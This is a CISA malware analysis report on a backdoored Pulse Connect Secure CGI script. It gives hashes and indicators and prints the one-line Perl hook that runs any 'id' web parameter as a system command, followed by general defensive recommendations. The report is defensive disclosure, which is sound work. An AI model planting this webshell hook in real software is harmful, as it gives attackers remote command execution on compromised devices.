Malware Analysis Report (AR21-202H)

MAR-10336161-1.v1: Pulse Connect Secure

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Summary

Malware Analysis Report
10336161.r1.v1
2021-07-14

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA received one file for analysis. This file is a Pulse Secure system application that has been modified. The modification effectively allows a remote operator to have command and control (C2) capabilities over a compromised Pulse Secure device. This analysis is derived from malicious files found on Pulse Connect Secure devices.


For a downloadable copy of IOCs, see: MAR-10336161-1.v1.WHITE.stix.

Submitted Files (1)

c964594ed0afaf64611514eb53f14ee5ab95e25da986dca9e28586bfc053da16 (tnchcupdate.cgi)

Findings

c964594ed0afaf64611514eb53f14ee5ab95e25da986dca9e28586bfc053da16

Tags

backdoorremote-access-trojantrojanwebshell

Details
Name tnchcupdate.cgi
Size 27958 bytes
Type Perl script text executable
MD5 a3b98da94d6d65745df01314a5a5d0f5
SHA1 168a7b58875f8c4dfeb9ea311db7ce7275295c74
SHA256 c964594ed0afaf64611514eb53f14ee5ab95e25da986dca9e28586bfc053da16
SHA512 76831761fcd068589ff4ec89b00371548b430edce57ede913ef0e11f9a962c8addc15a751c3865a6c44cabbf8068f45c089600ca7b2ebbac2e4ab129bf3b0bad
ssdeep 384:F/XaWMIVzjJVreteR03LD/AxrYjVRzptulRvU71F2K9gjOTU:F/Xa94jJVrete2gxrYj34vU7/2K2CU
Entropy 4.919656
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Common Gateway Interface (CGI) script with a modification that allows a remote operator to execute commands on the compromised Pulse Secure device. The following modification will hook the main() function to the malicious CGI script:

--Begin Malicious Main() Hook Code--

if(CGI::param("id")){print "Cache-Control: no-cache\n";print "Content-type: text/html\n\n";my $na=CGI::param("id");system("$na");}else{&main();}

--End Malicious Main() Hook Code--

This hook checks for an incoming parameter to the web application named "id". If such a parameter is passed to the application, its corresponding data is extracted and executed on the target system using the system() function. If no "id" parameter is provided to the application this code simply executes its original main() function.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

July 21, 2021: Initial Version

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